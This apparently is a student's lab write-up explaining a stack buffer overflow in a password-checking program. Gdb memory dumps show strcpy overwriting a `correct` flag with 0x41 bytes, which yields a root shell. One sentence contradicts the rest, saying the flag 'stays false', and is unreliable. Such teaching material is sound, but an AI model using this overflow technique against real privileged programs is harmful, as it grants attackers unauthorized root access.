1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
a
If there is no cli argument, the program aborts.
Otherwise, checkpass() is called with the argument.
The crypt library is used to compute a hash of the argument with some salt.
According to http://www.gnu.org/software/libc/manual/html_node/crypt.html,
the best way to recover the password is to launch a brute force attack.
b
Before strcpy, the stack is 'normal':
...
(gdb) ni
0x0000000000400840 14 strcpy(password,input);
...
=> 0x0000000000400840 <checkpass+42>: e8 2b fe ff ff call 0x400670 <strcpy@plt>
(gdb) x /64bx $rsp
0x7ffe8a0fdd60: 0x78 0x5d 0x3b 0xaf 0x29 0x7f 0x00 0x00
0x7ffe8a0fdd68: 0x53 0xf4 0x0f 0x8a 0xfe 0x7f 0x00 0x00
0x7ffe8a0fdd70: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00
0x7ffe8a0fdd78: 0x30 0x08 0x00 0x00 0x01 0x00 0x00 0x00
0x7ffe8a0fdd80: 0xb0 0xde 0x0f 0x8a 0xfe 0x7f 0x00 0x00
0x7ffe8a0fdd88: 0x38 0x4f 0xba 0xaf 0x29 0x7f 0x00 0x00
0x7ffe8a0fdd90: 0xe0 0xde 0x0f 0x8a 0xfe 0x7f 0x00 0x00
0x7ffe8a0fdd98: 0x00 0x75 0xba 0xaf 0x29 0x7f 0x00 0x00
But, because we're copying more characters than `password` can hold, after
strcpy, the stack is corrupted:
(gdb) ni
...
(gdb) x /64bx $rsp
0x7ffe8a0fdd60: 0x78 0x5d 0x3b 0xaf 0x29 0x7f 0x00 0x00
0x7ffe8a0fdd68: 0x53 0xf4 0x0f 0x8a 0xfe 0x7f 0x00 0x00
0x7ffe8a0fdd70: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffe8a0fdd78: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffe8a0fdd80: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffe8a0fdd88: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffe8a0fdd90: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7ffe8a0fdd98: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
In particular, the value of `correct` is now 0x41:
(gdb) x &correct
0x7ffe8a0fde8f: 0x41
which is truthy.
The hash is computed normally, the strcmp call evaluates to non-zero, so the
string `ERROR: password incorrect` is printed, however, correct stays false.
Because of this, a root shell is started.
|